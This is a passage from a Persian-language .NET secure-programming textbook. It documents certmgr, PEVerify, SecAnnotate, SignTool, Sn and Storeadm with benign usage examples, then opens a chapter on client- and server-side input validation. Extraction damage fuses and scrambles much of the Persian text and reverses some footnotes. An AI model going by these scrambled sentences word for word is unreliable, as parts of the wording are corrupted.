sourceStorename های موجودنامهگواهیکه شامل  نامهگواهی انبار، CTL ها، یاCRL ،ها برای افزودن

یک انبار یا  انبارتواند یک فایل . این میباشدمی حذف کردن، ذخیره کردن یا نمایش

 باشد.  سیستم

destinationStorename خروجی نامهگواهیفایل یا انبار 

 

 توصیف گزینه

/add ها، نامهگواهیCTL ،هاCRLکند.اضافه می نامهگواهی یها را به حافظه 
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/all  زمانی که با/add کند. زمانی که با ها را اضافه میاستفاده شود همه ورودی/del  استفاده شود

استفاده شود همه  del/یا  add/کند. زمانی که بدون گزینه ها را حذف میهمه ورودی

 .استفاده کرد /put یتوان با گزینهرا نمی /all یگزینه گذارد.یش میها را به نماورودی

/c  زمانی که با/add ،کند. زمانی که با ها را اضافه مینامهگواهیاستفاده شود/del  استفاده

ها را ذخیره نامهگواهیاستفاده شود، put/کند. زمانی که با ها را حذف مینامهگواهیشود،

ها را به نمایش نامهگواهی استفاده شود، put/یا  add،  /del/کند. زمانی که بدون گزینه می

 گذارد.می

/CRL  زمانی که با/add  ،استفاده شودCRLکند. زمانی که با را اضافه می ها/del  استفاده شود

CRLزمانی که با  .کندها را حذف می/put  استفاده شودCRLر که اگکند. ها را ذخیره می

 گذارد.ها را به نمایش میCRLاستفاده شود  put/یا  add ،/del/بدون گزینه 

 

/CTL 
استفاده شود  del/که با کند. هنگامیرا اضافه می هاCTLاستفاده شود،  add/که با هنگامی

CTLکه با هنگامی .کندها را حذف می/put  استفاده شودCTLکند. ها را ذخیره می

 گذارد.ها را به نمایش میCTLاستفاده شود  put/یا  add ،/del/که بدون گزینه هنگامی
/del ها، نامهگواهیCTLها، CRLکند.، حذف مینامهگواهی یها را از حافظه 

/e encodingType فرضپیشکند. مقدار نوع رمزگذاری گواهی را مشخص می _ASN_ENCODING509X 

 است.

/f dwFlags کند. این پارامتر را مشخص می 1بازپرچم   یحافظهdwFlags است که به CertOpenStore 

 CERT_SYSTEM_STORE_CURRENT_USER فرضپیششود. مقدار می ارسال

 شود.استفاده شود، این گزینه در نظر گرفته می y/که گزینه  است. تنها درصورتی
/h[elp] گذارد.های این ابزار را به نمایش میو گزینه  2فرمان ینحو 

/n nam  کند.را برای اضافه کردن، حذف کردن یا ذخیره کردن مشخص می نامهگواهینام عمومی 

ها CTLو  هاCRLاز این گزینه با  ها استفاده شود؛تواند با گواهیاین گزینه فقط می

 توان استفاده کرد.نمی

/put نامهگواهی X.509 ،CTL  یاCRL کند. این در یک فایل ذخیره می نامهگواهی یرا از حافظه

                                                   

 

 

1 lagF penO 

2 yntaxSommand C 
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برای   put/ یهمراه با گزینه 7/توان از گزینه شود. میذخیره می X.509 قالبفایل در 

بایست هم با می put/ یاستفاده کرد. گزینه PKCS #7 قالبذخیره کردن این فایل در 

/c, /CTL  و یا/CRL  .یگزینهاستفاده شود /all  یتواند با گزینهنمی /put  .استفاده شود  

/r location کند. این گزینه فقط اگر گزینه سیستم را شناسایی می یموقعیت رجیستری حافظه/s  را

بایست یکی از موارد زیر ( میlocationشود. موقعیت )مشخص کنید، در نظر گرفته می

 باشد:

currentUser تحت کلید  نامهگواهی یحافظهدهد که نشان می

HKEY_CURRENT_USER است. فرضپیشباشد. این می 

localMachine کلید تحت  نامهگواهی یحافظهدهد که نشان می

HKEY_LOCAL_MACHINE .است 

 

/s حافظه سیستم است. اگر این گزینه را مشخص نکنید،  ،نامهگواهی یدهد که حافظهنشان می

  شود.در نظر گرفته می StoreFileاین حافظه 

/sha1 sha1Hash هش SHA1  نامهگواهیبرای ،CTL  یاCRL  برای اضافه کردن، حذف کردن و ذخیره کردن

 کند. مشخص می

/v  حالتverbose ها نامهگواهیکند؛ اطلاعات دقیق در مورد را مشخص میCTL ها وCRL ها

استفاده   put/  یا add, /del/های تواند همراه با گزینهگذارد. این گزینه نمیرا به نمایش می

 شود. 

/y provider کند.حافظه را مشخص می یدهندهنام اراله 

 کند.ذخیره می PKCS #7 شیصورت مقصد حافظه را به 7/

 گذارد.های این ابزار را به نمایش میفرمان و گزینه ینحو ?/

 ملاحظات

Certmgr.exe کندمیرا اجرا  ریز یتوابع اساس: 

 ها، نامهگواهیCTL ها وCRLگذارد.به نمایش می 1ها را برای کنسول 

                                                   

 

 

1 onsoleC 
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 ها، نامهگواهیCTL ها وCRLکند.اضافه می نامهگواهی یها را به یک حافظه 

 ها، نامهگواهیCTL ها وCRLکند.حذف می نامهگواهی یها را از یک حافظه 

 نامهگواهی X.509 ،CTL  یاCRL کند. در یک فایل ذخیره می ،نامهگواهی یرا از یک حافظه 

Certmgr.exe کند: کار می نامهگواهی یبا دو نوع حافظهStoreFile یو حافظه ( سیستمsystem store لازم .)

تواند نوع حافظه را شناسایی کند و می Certmgr.exeمشخص شود،  نامهگواهی ینیست که نوع حافظه

 عملیات مناسب را اجرا کند.

کند، که اندازی میرا راه in-certmgr.msc snapای بدون مشخص کردن هیچ گزینه Certmgr.exeاجرا کردن 

باشند. کند که از خط فرمان نیز در دسترس می، کمک مینامهگواهیاست که با وظایف مدیریت  GUIدارای 

GUI (ویزاردwizard ورودی را )هانامهگواهیدهد، که می ارایه ،CTL ها وCRL ها را از دیسک شما به یک

 کند. کپی می نامهگواهیحافظه 

 های استفادهمثال

 . گذاردبه نمایش می verboseبا خروجی    myرا به نام  فرضپیشفرمان زیر حافظه سیستم 

certmgr /v /s my 

به فایل جدیدی به نام  است،  myFile.extرا که در یک فایل به نام  هایینامهگواهیفرمان زیر تمام 

newFile.ext کنداضافه می. 

certmgr /add /all /c myFile.ext newFile.ext 

 کند. اضافه می my system store به است، testcert.cerکه در فایلی به نام  ای رانامهگواهیفرمان زیر 

certmgr /add /c testcert.cer /s my 

( root) شهیر ینامهیگواه حافظه به ،است  TrustedCert.cer ای را که در فایلی به نامنامهگواهیفرمان زیر 

 .کندیم اضافه

certmgr /c /add TrustedCert.cer /s root 

را به فایلی به نام  ،است myرا که در حافظه سیستم  myCertمومی ع با نام نامهگواهیفرمان زیر یک 

newCert.cer کندذخیره می. 

certmgr /add /c /n myCert /s my newCert.cer 

نتیجه را در فایلی به نام  یکند و حافظهحذف می هستند، my ستمیس حافظه در که راها CTLفرمان زیر تمام 

newStore.str کند. ذخیره می 

certmgr /del /all /ctl /s my newStore.str 
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کند. به شما ذخیره می newFileدر فایل  است، myسیستم  یرا که در حافظه نامهگواهیفرمان زیر یک 

 . وارد کنید newFile برای گذاشتن در myرا از  نامهگواهیاعلان خواهد شد تا عدد 

certmgr /put /c /s my newFile 

 PEVerifyابزار  4-4-3

کنند )مانند را تولید می (MSIL)ی مایکروسافت دهندگانی که زبان واسطهبه توسعه PEVerifyابزار 

و  MSILکند تعیین کنند آیا کد دهندگان موتور اسکریپت و ...( کمک مینویسندگان کامپایلر، توسعه

بردن ساختارهای  د یا نه. اگر شما از به کارنکنمی آوردهبر را نیازهای ایمنی نوعپیشها مرتبط آن 1هایدادهابر

کنند. تولید می 2اثبات، فقط کدهای ایمن نوعصورت قابلخاص زبان اجتناب کنید، بعضی از کامپایلرها به

دهنده، در حال استفاده از چنین کامپایلری هستید، ممکن است بخواهید اثبات کنید عنوان یک توسعهاگر، به

را روی  PEVerifyتوانید ابزار اید. در این موقعیت، میخود را در معرض خطر قرار ندادهایمنی نوع کد 

 داده را بررسی کنید.و ابر MSILهای خود اجرا کنید تا فایل

افزار از خط فرمان ویژوال شود. برای اجرای نرماین ابزار به صورت خودکار با ویژوال استودیو نصب می

 یس استفاده کنید.نواستودیو برای برنامه

 نحوه استفاده

 در خط فرمان دستور زیر را تایپ کنید:

peverify filename [options] 

 پارامترها

 تعریف شناسه

Filename حمل فایل اجرایی قابل(PE)  که برای آنMSIL شوند. و ابر داده بررسی می 

 

 تعریف گزینه

                                                   

 

 

1 Metadata 

2 safe-Type 
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/break=maxErrorCount  تعدادبعد ازmaxErrorCount   کندبررسی را متوقف میخطا. 

 .شودبه بعد پشتیبانی نمی 2 ینسخه net framework.این گزینه از 
/clock کندمیگیری و گزارش ثانیه اندازهزیر را در واحد میلی وارسیهای زمان: 

MD Val. Cycle :ابرداده سنجیی اعتبارچرخه 

MD Val. Pure :ابرداده سنجیخالص اعتبار 

IL Ver. Cycle: ی مایکروسافت زبان واسطه سنجیی اعتبارچرخه(MSIL) 

IL Ver pure :سنجیخالص اعتبار MSIL 

/help دهد.های ابزار را نمایش مینحو و گزینه 

/hresult  قالبکدهای خطا را در hexadecimal، دهد.نمایش می 

/ignore=hex.code [,hex.code]  گیرد.را نادیده می شدهمشخصکدهای خطای 

/ignore=@responseFile  گیرد.را نادیده می شدهمشخصشده در فایل پاس ِ فهرستکدهای خطای 

/il های اعتبار نوع ایمنی بررسیMSIL های اجراشده در را برای رویه

های این ابزار تعریف دهد.، انجام میfilenameشده با های مشخصاسمبلی

  quiet/ی گزینه کهاینگرداند مگر بازمیشده مفصل را برای هر مشکل یافت

 را مشخص کنید.

/md شده با های اعتبار ابرداده را روی اسمبلی مشخصبررسیfilename انجام ،

دهد. این امر ساختار کامل ابرداده را در فایل همراهی و تمام مشکلات می

 کند.اعتبارسنجی مورد برخورد را گزارش می

/nologo کند.رایت( را توقیف میتولید و اطلاعات حق چاپ )کپیی نمایش نسخه 

/nosymbols با های خطوط را برای سازگاری ، شماره2.0ی نسخهنت ر چارچوب داتد

 .گذاردکنار می، گذشته

/quiet مشکل اعتبارسنجی»های کند؛ خروجی گزارشصدا را مشخص میحالت بی» 

دهد اگرچه فایل، ایمن گزارش می چنانهمPeverify.exe  .گذاردکنار میرا 

  دهد.را گزارش نمی اعتبارسنجیباشد اما اطلاعات مربوط به مشکل  نوع

/transparent  کند.های آشکار را بررسی میتابعفقط 

/unique گیرد.کدهای خطای در حال تکرار را نادیده می 

/verbose 2.0ی در نسخه .NET Framework های در پیام، اطلاعات اضافی را

 دهد.نمایش می MSILاعتبارسنجی 
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 دهد.های ابزار را نمایش مینحو فرمان و گزینه ?/

 های استفادهمثال

 یاجراشده در اسمبل یهاتابع یرا برا MSILنوع  یمنیا دییابرداده و تأ یاعتبارسنج هاییبررس ریفرمان ز

myAssembly.exeدهدی، انجام م. 

peverify myAssembly.exe /md /il 

 :دهدیم شیرا نما ریز امیپ Peverify.exeدرخواست بالا،  زآمیتیاز اتمام موفق پس

All classes and methods in myAssembly.exe Verified 

اجراشده  هایهیرو یرا برا MSILنوع  یمنیا دییتأ هاییابر داده و بررس یاعتبارسنج هاییبررس ریز فرمان

 شیرا نما هایبررس نیانجام ا یبرا ازی. ابزار، زمان موردندهدی، انجام مmyAssembly.exe یلدر اسمب

 .دهدیم

peverify myAssembly.exe /md /il /clock 

 :دهدیم شیرا نما ریز امیپ Peverify.exeدرخواست بالا،  زآمیتیاز اتمام موفق پس

All classes and methods in myAssembly.exe Verified 

Timing: Total run     320 msec 

        MD Val.cycle  40 msec 

        MD Val.pure   10 msec 

        IL Ver.cycle  270 msec 

        IL Ver.pure   230 msec 

اجراشده  هایهیرو یرا برا MSILنوع  یمنیا دییتأ هاییابرداده و بررس یاعتبارسنج هایٰ  یبررس ریز فرمان

 یمقدار خطا ینهیشیبه ب Peverify.exeکه  یزمان حال نیا . بادهدی، انجام مmyAssembly.exe یدر اسمبل

 .ردیگیم دهیرا نادشده مشخص  یخطا یکدها چنینهمابزار  .شودیمتوقف م رسد،یم 100

peverify myAssembly.exe /break=100 /ignore=0x12345678,0xABCD1234 

پاس   لیتا در فا کندیخطا را مشخص م یاما، کدها کندیم دیمثال بالا را تول هیشب یجینتا ر،یز فرمان

ignoreErrors.rsp ردیبگ دهیناد . 

peverify myAssembly.exe /break=100 /ignore@ignoreErrors.rsp 

 اند.شده خطا باشد که با کاما جدا یاز کدها یستیل یحاو تواندیپاس  م لیفا

0x12345678, 0xABCD1234 

 .شود دارکد خطا بر هر خط، قالب کیبا  تواندیپاس  م لیفا ،چنینهم

0x12345678 

0xABCD1234 
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 SecAnnotate.exeنت نویسي امنیتي داتابزار حاشیه 5-4-3

 هایقسمتاست که  برنامه کاربردی خط فرمان کی (SecAnnotate.exe)نت نویسی امنیتی داتحاشیهابزار 

 .کندیم ییرا شناسا یاسمبل یشتریتعداد ب ای کیاز امنیتی -امن-امنیتی و بحرانی-بحرانی

 یرا برا یکاربر یکیواسط گراف کی ،Security Annotator، ویژوال استودیو یافزونه کی

SecAnnotate.exe سازدیمقادر ویژوال استودیو ابزار از  یرا به اجرا و شما کندیفراهم م. 

خط  که از مکنییم هیابزار، توص یاجرا ی. براشودینصب م Visual Studioصورت خودکار با ابزار به نیا

 .دیاستفاده کننویس فرمان ویژوال استودیو برای برنامه

 ای کیشامل  هایو اسمبل شوندیداده م حیتوض ریپارامترها در بخش ز د،یسیرا بنو ری، متن زخط فرماندر 

 هستند: ،اندشدهجدا یخال یکه با جاها یچند نام اسمبل

SecAnnotate.exe [parameters] [assemblies] 

 پارامترها

 تعریف گزینه

/a 
 یا

/showstatistics 

 دهد.بررسی را نشان می های مورداسمبلی شفافیت درآمار استفاده از 

/d:directory 
 یا

/referencedir:directory 

، نویسیحاشیههای وابسته در طول برای جستجوی اسمبلی پوشه رایک 

 کند.مشخص می

/i 
 یا

/includesignatures 

 .شودمی، نویسیحاشیهیافته در فایل گزارش شامل اطلاعات امضای توسعه

/n 
 یا

/nogac 

را متوقف  1های ارجاع شده در کش اسمبلی سراسریجستجوی اسمبلی

 .کندمی

/o:output.xml 
 یا

/out:output.xml 

 .کندمیخروجی را مشخص  نویسیحاشیهفایل 

                                                   

 

 

1 Global Assembly Cache 
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/p:maxpasses 
 یا

/maximumpasses:maxpasses 

ها، قبل از توقف تولید تعداد مسیرهای تفسیر را برای ساخت اسمبلی یبیشینه

 کند.تفسیرهای جدید، مشخص می

/q 
 یا

/quiet 

های وضعیت را پیام نویسحاشیهکند، که در آن حالت سکوت را مشخص می

 دهد.دهد؛ این گزینه فقط اطلاعات خطا را خروجی میخروجی نمی

/r:assembly 
 یا

/referenceassembly:assembly 

 

در بر  های وابسته در طول تفسیراسمبلی هنگام رفعشده را اسمبلی مشخص 

 شده در مسیر مرجع،های یافتهای مرجع بیش از اسمبلی. به اسمبلیگیردمی

 شود.حق تقدم داده می

/s:rulename 
 یا

/suppressrule:rulename 

های ورودی، متوقف را روی اسمبلیشده مشخص  شفافیتاجرای قانون 

 .کندمی

/t 
 یا

/forcetransparent 

گونه هایی که هیچکند با تمام اسمبلیرا مجبور می نویسحاشیهابزار 

 نند که گویی کاملاً واضح هستند.واضحی ندارند، طوری رفتار ک نویسیحاشیه

/v 
 یا

/verify 

کند؛ اگر اسمبلی تأیید یک اسمبلی را تأیید می هاینویسیحاشیهفقط صحت 

نشود، تلاشی برای ایجاد مسیرهای چندگانه جهت یافتن تمام تفسیرهای 

 کند.موردنیاز، نمی

/x 

 یا

/verbose 

 کند.، مشخص مینویسی راهنگام حاشیهخروجی طولانی 

/y:directory 
 یا

/symbolpath:directory 

 

، نویسیحاشیههای نشانه طی هنگام جستجوی فایلرا شده مشخص یپوشه

 شود.میشامل 

 SignTool.exeابزار امضا  6-4-3

ها را بررسی کند، امضاها در فایلها را امضای دیجیتال میابزار امضا یک ابزار خط فرمان است که فایل

 زند.ها را مهرزمان میکند و فایلمی

شود. برای اجرای این ابزار از خط فرمان ویژوال این ابزار به صورت خودکار با ویژوال استودیو نصب می

 استودیو استفاده کنید.

 در خط فرمان دستور زیر را تایپ کنید:

signtool [command] [options] [file_name | ...] 
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 پارامترها

 توضیح  آرگومان

Command ( یکی از چهار دستورcatdb, sign, Timestamp  یاVerifکه عملیات انجام ) شده روی

 کند.فایل را مشخص می

Options های سراسری ی گزینهاضافه. بهدهدتغییر میدستور را یک ای که زینهگ/q  و/v هر دستور ،

 کند.فرد را پشتیبانی میمنحصربه هایگزینهیک سری 

file_name امضا شدنک فایل برای مسیر ی 

 یمجموعهشوند. هر دستور برای یک پشتیبانی میابزار امضا دستورهای که در ادامه آمده است توسط 

 اند.شود که در بخش مربوط به خودشان لیست شدهاستفاده می هااز گزینه جداگانه

  شرح دستور

Catdb  ی هادادهپایگاه. کندمی اضافه یا از آن حذف ی کاتالوگدادهپایگاهبه یک فایل کاتالوگ را

 GUIDشده توسط های کاتالوگ شناختهخودکار فایل جستجویمنظور کاتالوگ به

 گیرند. مورداستفاده قرار می

Sign ها را در مقابل کند. امضاهای دیجیتالی فایلمی امضاصورت دیجیتالی ها را بهفایل

سازد تا امضاکننده را بر اساس یک ن را قادر میکند و کاربرامحافظت می کاریدست

 ند. نک وارسیامضا  ینامهگواهی

Timestamp زند.ها را مهرزمان میفایل 

Verify شده است علامت توسط یک مرجع معتبر تعیین کهاینبا تعیین  را هاامضای دیجیتال فایل

ی یک سیاست گواهی امضا برا کهاینامضا ملغی شده یا نه و  نامهگواهی کهاین یا نه،

 کندا نه، بررسی میمشخص معتبر است ی

 :شوداعمال می ابزار امضازیر به همه دستورهای  هایگزینه

 توضیح  اختیارات سراسری

/q خورده حداقل خروجی را دارد.آمیز بدون خروجی و برای اجرای شکستدر اجرای موفقیت 

/v  های هشداردهندهخورده، و پیامستاجرای شک ،آمیزموفقیتخروجی طولانی برای اجرای 

 دهد.نمایش می

/debug دهد.زدایی را نمایش میاطلاعات اشکال 

 به آدرس زیر مراجعه کنید: Verifyو  catdb ،Sign ،Timestampهای دستورهای گزینه یبرای مشاهده
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https://msdn.microsoft.com/en-us/library/8s9b9yaz(v=vs.110).aspx#Anchor_2 

 مقدار برگشتي

 :گرداندابزار امضا یکی از کدهای خروجی زیر را هنگام پایان یافتن برمی

 توضیح  کد خروجي

 آمیز بود.اجرا موفقیت 0

 آمیز نبود.اجرا موفقیت 1

 اجرا با هشدارهایی کامل شد. 2

 های اجرامثال

-میدرایور اضافه  دادهپایگاهسیستم و  یمولفه به MyCatalogFileName.catدستور زیر فایل کاتالوگ را با نام 

هم نام کاتالوگ فایل  جایگزینیفرد را برای جلوگیری از یک نام منحصربهدر صورت لزوم  v/ی ند. گزینهک

 کند. تولید می

signtool catdb /v /u MyCatalogFileName.cat 

 کند.می امضاطور خودکار به نامهگواهیاستفاده از بهترین  ایک فایل را بدستور زیر 

signtool sign /a MyFile.exe 

که با  PFXهای در فایلشده ذخیره  نامهگواهیصورت دیجیتال با استفاده از یک فایل را بهدستور زیر 

 .کندمی ، امضااندمحافظت سازی شده ی عبورکلمه

signtool sign /f MyCert.pfx /p MyPassword MyFile.exe 

برای علامت  شدهاستفاده نامهگواهیدهد. زمان میمهرکرده و  امضاطور دیجیتال یک فایل را بهدستور زیر 

 شود.داری مینگه PFXگذاشتن فایل در یک فایل 

signtool sign /f MyCert.pfx /t  HYPERLINK 

"http://timestamp.verisign.com/scripts/timstamp.dll" 

http://timestamp.verisign.com/scripts/timstamp.dll MyFile.exe 

من را دارد،  شرکتشده در منبع من که اسم گواهی تعیین مهناگواهییک فایل را با استفاده از دستور زیر 

 کند.می امضا

signtool sign /n "My Company Certificate" MyFile.exe 

زمانی که  کند که اینترنت اکسپلور درکند و اطلاعاتی را مهیا میمی امضارا  ActiveXکنترل  یکدستور زیر 

 دهد. نشان می ،کاربر قصد نصب کردن کنترل را دارد

Signtool sign /f MyCert.pfx /d: "MyControl" /du 

http://www.example.com/MyControl/info.html MyControl.exe 

 زند.زمان می، مهرامضا شده استصورت دیجیتال اکنون بهکه همیک فایل را دستور زیر 

https://msdn.microsoft.com/en-us/library/8s9b9yaz(v=vs.110).aspx#Anchor_2
http://www.example.com/MyControl/info.html%20MyControl.exe
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signtool timestamp /t http://timestamp.verisign.com/scripts/timstamp.dll 

MyFile.exe 

 شده است. امضا کند که یک فایل بررسی میدستور زیر 

signtool verify MyFile.exe 

 باشد. امضا شدهیک کاتالوگ  درکند که ممکن است یک فایل سیستم را بررسی میدستور زیر 

signtool verify /a SystemFile.dll 

شده  امضا MyCatalog.catبه نام  کند که در یک نام کاتالوگرا بررسی میسیستم یک فایل دستور زیر 

 است. 

signtool verify /c MyCatalog.cat SystemFile.dll 

 Sn.exeابزار نام قوی  7-4-3

 یرا برا ییهانهیگز Sn.exeامضا کرد.  یقو یهارا با نام هایکه اسمبل کندیکمک م (Sn.exe) یابزار نام قو

 .دهدیم ارایهامضا  بررسیامضا و  جادیا د،یکل تیریمد

افزار از خط فرمان ی نرمشود. برای اجراابزار نام قوی به صورت خودکار با ویژوال استودیو نصب می

 نویس استفاده کنید.برنامه

را با استفاده از خط فرمان ویژوال استودیو و  Sn.exeبیتی  32 ینسخهبیتی  64توجه: در کامپیوترهای 

 اجرا کنید. X64 Win64بیتی را با استفاده از خط فرمان ویژوال استودیو  64 ینسخه

 کنید:در خط فرمان دستور زیر را وارد 

sn [-quiet][option [parameter(s)]] 

 پارامترها

 با توجه به تعدد پارامترها به آدرس زیر مراجعه کنید:

https://msdn.microsoft.com/en-us/library/k5b5tt23(v=vs.110).aspx#Anchor_1 

 های اجرامثال

 :کندیم رهیذخ keyPair.snkو در  کندیم جادیا یتصادف دیجد دیجفت کل کی ریز دستور

sn -k keyPair.snk 

 :کندیم رهیاست، ذخ CSP یدر نام قو MyContainerکه در  keyPair.snkرا در  دیکل ریز دستور

sn -i keyPair.snk MyContainer 

 :کندیم رهیذخ publicKey.snk و آن را در کندیاستخراج م keyPair.snkرا از  یعموم دیکل ریز دستور

sn -p keyPair.snk publicKey.snk 

http://timestamp.verisign.com/scripts/timstamp.dll%20MyFile.exe
http://timestamp.verisign.com/scripts/timstamp.dll%20MyFile.exe
https://msdn.microsoft.com/en-us/library/k5b5tt23(v=vs.110).aspx#Anchor_1
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 :دهدیم شینما ،publicKey.snkمشمول در  یعموم دیکل یو توکن را که برا یعموم دیکل ریز دستور

sn -tp publicKey.snk 

 :کندیم یرا بررس MyAsm.dll یاسمبل ریز دستور

sn -v MyAsm.dll 

 :کندیحذف م ،فرضپیش CSPرا از  MyContainer ریز دستور

sn -d MyContainer 

 Storeadm.exe ی مجزاانبارهابزار  8-4-3

طور ابزار به نیا. دکنیحذف م ایفهرست  یکاربر فعل یموجود را برا هایانبارتمام  ی مجزاانبارهابزار 

 نویساز خط فرمان ویژوال استودیو برای برنامهابزار،  یاجرا ی. براشودینصب مویژوال استودیو خودکار با 

 .دیاستفاده کن

 نحو اجرا

storeadm [/list][/machine][/remove][/roaming][/quiet] 

 پارامترها

 شرح گزینه

/h[elp] دهد.های ابزار را نمایش میفرمان و گزینه نحو 

/list  ها یا برنامهتمام  انبارهایدهد. این شامل موجود را برای کاربر فعلی نمایش می انبارهایتمام

 است. این کاربر های اجراشده توسطاسمبلی

/machine یکند. این گزینه را با گزینهرا انتخاب می ماشین انبار/list   یا/remove   استفاده کنید تا مشخص

 عمال شود.ادستگاه  انبارعملکرد باید به کدام کنید 

/quiet های کند که فقط پیاممی حذفای گونهخروجی اطلاعاتی را به کند؛حالت سکوت را مشخص می

 خطا ظاهر شوند.

/remove  کند.طور دالمی برای کاربر فعلی، حذف میموجود را به انبارهایتمام 

/roaming های کند. این گزینه را با گزینهرا انتخاب می انبار انتقال/list   یا/remove  به کار ببرید تا

 عمال شود.رومینگ ا انبارعملکرد باید به کدام مشخص کنید 

 دهد.های ابزار را نمایش میفرمان و گزینه نحو ?/

 هانکته
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های ابزار را نمایش و گزینه نحوای، از خط فرمان بدون مشخص کردن هیچ گزینه Storeadm.exeاجرای 

 دهد.می

حال، اگر دو یا چند گزینه شوند؛ بااینیکی استفاده میطورمعمول یکیبه remove/و  list/های گزینه

 شوند.مشخص شوند، به ترتیبی انجام خواهند شد که در خط فرمان ظاهر می

 کاربر یا دستگاه را دارند: انبارها، حق انتخاب ذخیره شدن در یکی از دو برنامه

 و بعدتر( حتی  2000شود )در ویندوز نمیشود منتقل تضمین میارد که محلی در مکانی قرار د انبار

 های کاربر برای کاربر فعال شود.داده انتقالاگر 

 گونه عمل کند تواند ایناست اما تنها در صورتی می انتقالدر مکانی قرار دارد که قادر به  انبار انتقال

 دسترس قرار گیرد. در NTمدیریت ویندوز  از طریق برای کاربر انتقالکه 

 مشترک در آن ماشین،  در یک پوشه، مشترک است و ماشیندستگاه برای تمام کاربران یک  انبار

 شود.ذخیره می
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 اعتبارسنجي ورودی و کدگذاری خروجي 4

 ورودی اعتبارسنجي 1-4

 چرا اعتبارسنجي ورودی؟ 1-1-4

تواند شکلی از ویروس ورودی می شود، ورودی نام دارد که اینمی برنامههر چیزی که از محیط بیرونی وارد 

 دادهپایگاههای خوانده شده از یک اند، دادههایی که بوسیله ی کاربر ارسال شدهباشد. منابع برنامه، شامل فرم

کارگزار های خوانده شده از های ارسال شده از مرورگر و یا فایلو یا بازیابی شده از خدمات وب، عنوان

عملکرد برنامه و خروجی حاصل از آن به شکل زیر  یشما پردازش شوند. نحوهتوانند توسط برنامه وب می

 خواهد بود:

 
 سازی تهدید. فرایند مدل1-4شکل 

ممکن است باعث بروز خطاهای منطقی  ناجور. اطلاعات بدیهی استسنجی ورودی نیاز اعتبارنیاز به 

ی وب شما را در معرض حمله قرار بدهند. علاوه بر این تنها نویسی شوند یا ممکن است برنامهبرنامه
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ها شما معتبر باشند اما ارسال این داده سایتوبهایی در ی شما در خطر نیست، بلکه ممکن است دادهبرنامه

 را تحت تاثیر قرار دهد. هاآنهای دیگر، به سیستم

شما  یبرنامه ازکار افتادنحظات امنیتی، اعتبارسنجی ورودی تا حد زیادی خطر حتی بدون درنظر گرفتن ملا

 دادهپایگاهیک سازی تر از پاکهزینهرسد اعتبارسنجی ورودی بسیار کمدهد. به علاوه به نظر میرا کاهش می

 در آن باشد. نامعتبرهای داده ای دیگر با کشفیا مخازن داده

 توصیف اعتبارسنجي ورودی ۲-1-4

شود که یک برنامه بر روی ها فرآیندی است که طی آن ضمانت میداده سنجیعلم کامپیوتر، اعتبار در

 قواعد»که  کندمیهایی استفاده ها از روالداده سنجیهای پاک، صحیح و مفید، اجرا شود. اعتبارداده

ها صحت، معنا و شوند. این روالنامیده می «های بررسیروال»یا  «اعتبارسنجی هایمحدودیت»، «اعتبارسنجی

ها به منظور فراهم کردن داده سنجیکنند. اعتبارهایی که ورودی سیستم هستند را بررسی میامنیت داده

افزار ضمانتی قطعی و مطمئن برای سازگاری، دقت و ثبات برای هر یک از انواع مختلف ورودی در یک نرم

های با استفاده از متدولوژی توانداده را می سنجیقوانین اعتبار یا سیستم خودکار، در نظر گرفته شده است.

 .مستقرهای مختلف مختلف تعریف کرد و سپس هر یک را در زمینه

 سنجیحداقل برسانیم. اعتبار سیستم به به را ناجور ورودی به این معناست که ورود اطلاعات سنجیاعتبار

 . نیست XSSو  SQLدی روش اصلی برای جلوگیری از حملات تزریق ورو

 باید: هاداده اعتبارسنجی

  داده ورودی باشد یهمهقابل اعمال بر روی حداقل. 

 .انواع کاراکترهایی که قابل پذیرش هستند را تعریف کنند  

 ها را تعریف کنند.داده برای طول حداکثر و حداقل 

Asp.Net خود را به  یدهد تا کدهای اعتبارسنجاست که به شما اجازه می تبارسنجیاعهای شامل کنترل

توانید کد آماده به عنوان استاندارد مناسب نیستند، شما می یسنجهای اعتبارحداقل برسانید و اگر کنترل

 سازی کنید.دلخواه خود را پیاده
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 های اعتبارسنجي ورودیروش 3-1-4

 کارخواهاعتبارسنجي ورودی سمت  

ها به سمت داده کهاینچیزی است که روی مرورگر کاربر اتفاق افتاده و قبل از  کارخواهسنجی سمت اعتبار

ی خوب است، چرا که بدون ارسال شود. اعتبارسنجی سمت کاربر یک ایدهارسال شوند انجام می کارگزار

شود. بنابراین تغییر دارد می کردن فرم بلافاصله متوجه آنیه که نیاز به submit، کاربر با کارگزارها به داده

دهندگان وب موجب دهد و از دید توسعهاز دید کاربر به او پاس  سریعی می کارخواهاعتبارسنجی سمت 

 شود.می کارگزارجویی در منابع ارزشمند صرفه

شود. بنابراین داشتن استفاده می کارخواهسنجی سمت به طور گسترده برای انجام اعتبار 1جاوااسکریپت

 دهد.را به ما می کارخواهامکان کنترل کامل بر اعتبارسنجی سمت  2جی کولریدانشی از جاوااسکریپت و 

Asp.Net  دهند، فراهم کرده است که را انجام می کارخواهنیز برخی از کدهای آماده که اعتبارسنجی سمت

در محل مربوطه بدون نوشتن  کارخواه ی سمتارسنجدهندگان را در قرار دادن کدهای اعتبتواند توسعهمی

 کدهای زیاد کمک کند.

 پردازند.هایی که در ادامه معرفی خواهند شد، با استفاده از جاوااسکریپت به انجام اعتبارسنجی میکنترل

 اعتبارسنجي ورودی سمت کارگزار 

این است که  کارگزاری سمت دهد. مزیت داشتن اعتبارسنجرخ می کارگزاردر  کارگزاراعتبارسنجی سمت 

 )به طور تصادف یا عمدی( را دور بزند کارخواهدر صورتی که کاربر بخواهد به نحوی اعتبارسنجی سمت 

 متوجه بشود. کارگزارتواند این مشکل را در سمت دهنده وب میتوسعه

هایی که کند دادهکند و تضمین میامنیت بیشتری را فراهم می کارگزارسمت  اعتبارسنجیبنابراین داشتن 

، براساس منطق سفارشی نوشته شده کارگزاراند نامعتبر نباشند. اعتبارسنجی سمت توسط برنامه پردازش شده

 شود. دهنگان انجام میتوسط توسعه

                                                   

 

 

1 Javascript 

2 Jquery 



  نتنویسي امن در داتبرنامه 

۹2 

 

 
 

کنند فراهم کرده و چارچوبی را تسهیل می کارگزارهایی که ارزیابی سمت برخی از کنترل Asp.Net چنینهم

 کند.دهندگان تامین میبرای توسعهجهت انجام آن 

 کارگزار-کارخواهقابلیت اعتماد به اعتبارسنجي ورودی  

دهندگان وب ممکن است هر نوع اعتبارسنجی را انتخاب کنند، اما معمولا بهتر است که یک نوع توسعه

 ته باشند.داش کارگزارتری از همان نوع را در سمت داشته باشند و سطح کامل کارخواهاعتبارسنجی سمت 

( طول کارخواههای معتبر فعلی )در سمت جهت اعتبارسنجی داده کارگزارگرفتن برخی منابع  مطمئناً

